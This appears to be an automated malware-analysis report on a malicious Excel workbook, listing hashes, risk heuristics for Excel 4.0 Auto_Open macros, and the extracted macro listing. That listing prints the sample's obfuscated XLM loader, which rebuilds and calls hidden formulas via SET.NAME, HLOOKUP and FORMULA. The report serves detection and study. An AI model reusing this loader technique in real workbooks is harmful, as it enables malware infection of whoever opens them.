Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6437ce889ca6e68a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:57 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: ca363f1092111c4ed987423bf3061f40 SHA-1: 80580227bb855b5fff3926aaa0657a715f3c1029 SHA-256: 6437ce889ca6e68ab439208ec866095b59cca7c0e4fa022915b1f9a3de698749
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6581 bytes
SHA-256: 303511aa723cc590149b3e5c5c1f1efcc1e16e50eb934331bd9d3b908089001e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jeRrNGM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G153 
' 0018     22 LABEL : Cell Value, String Constant - dZFVwHr len=0 
' 0018     26 LABEL : Cell Value, String Constant - EeEsfHjEcdE len=0 
' 0018     23 LABEL : Cell Value, String Constant - HrUlMldi len=0 
' 0018     26 LABEL : Cell Value, String Constant - JnaaPmYPTwM len=0 
' 0018     22 LABEL : Cell Value, String Constant - JTmxArL len=0 
' 0018     21 LABEL : Cell Value, String Constant - JvJcnb len=0 
' 0018     22 LABEL : Cell Value, String Constant - LmMTtXp len=0 
' 0018     24 LABEL : Cell Value, String Constant - mKjKTKNcB len=0 
' 0018     20 LABEL : Cell Value, String Constant - MrVML len=0 
' 0018     21 LABEL : Cell Value, String Constant - pdNJvR len=0 
' 0018     26 LABEL : Cell Value, String Constant - pzFsTvpHOfH len=0 
' 0018     20 LABEL : Cell Value, String Constant - QFXzB len=0 
' 0018     22 LABEL : Cell Value, String Constant - QpNHJKR len=0 
' 0018     23 LABEL : Cell Value, String Constant - RqMzUEPu len=0 
' 0018     20 LABEL : Cell Value, String Constant - SbXPC len=0 
' 0018     25 LABEL : Cell Value, String Constant - slUUfgOShV len=0 
' 0018     26 LABEL : Cell Value, String Constant - UVFMFBjUGIl len=0 
' 0018     20 LABEL : Cell Value, String Constant - WBLSI len=0 
' 0018     27 LABEL : Cell Value, String Constant - WWBVHSwijxHQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - Yryoa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jeRrNGM,G64,"SET.NAME("JTmxArL",VALUE("0"))",""
'  jeRrNGM,G69,"SET.NAME("WBLSI",JTmxArL)",""
'  jeRrNGM,G71,"SET.NAME("QFXzB",JTmxArL)",""
'  jeRrNGM,G75,"SET.NAME("MrVML",COUNTA(mKjKTKNcB))",""
'  jeRrNGM,G79,"SET.NAME("dZFVwHr",COUNTA(pdNJvR))",""
'  jeRrNGM,G84,[],""
'  jeRrNGM,G86,"SET.NAME("RqMzUEPu","")",""
'  jeRrNGM,G90,"WBLSI",""
'  jeRrNGM,G93,"SET.NAME("QpNHJKR",HLOOKUP("*",mKjKTKNcB,WBLSI,FALSE))",""
'  jeRrNGM,G95,"slUUfgOShV",""
'  jeRrNGM,G98,"SET.NAME("UVFMFBjUGIl",JTmxArL)",""
'  jeRrNGM,G100,[],""
'  jeRrNGM,G104,"UVFMFBjUGIl",""
'  jeRrNGM,G106,"SbXPC",""
'  jeRrNGM,G108,"WWBVHSwijxHQ",""
'  jeRrNGM,G113,"Yryoa",""
'  jeRrNGM,G117,"SET.NAME("LmMTtXp",VALUE(HLOOKUP("*",pdNJvR,Yryoa,FALSE)))",""
'  jeRrNGM,G122,"HrUlMldi",""
'  jeRrNGM,G125,"RqMzUEPu",""
'  jeRrNGM,G128,"QFXzB",""
'  jeRrNGM,G131,NEXT(),""
'  jeRrNGM,G136,"pzFsTvpHOfH",""
'  jeRrNGM,G141,"SET.NAME("f",INT(T(FORMULA(T(RqMzUEPu)&"",""&T(pzFsTvpHOfH)))))",""
'  jeRrNGM,G143,"JnaaPmYPTwM",""
'  jeRrNGM,G147,NEXT(),""
'  jeRrNGM,G150,RETURN(),""
'  jeRrNGM,G181,"SET.NAME("EeEsfHjEcdE",G64)",""
'  jeRrNGM,G186,"mKjKTKNcB",""
'  jeRrNGM,G189,"SET.NAME("pdNJvR",R73C12)",""
'  jeRrNGM,G191,"SET.NAME("JnaaPmYPTwM",198)",""
'  jeRrNGM,G194,"SET.NAME("JvJcnb",7)",""
'  jeRrNGM,G197,EeEsfHjEcdE(),""
'  jeRrNGM,G198,HALT(),""

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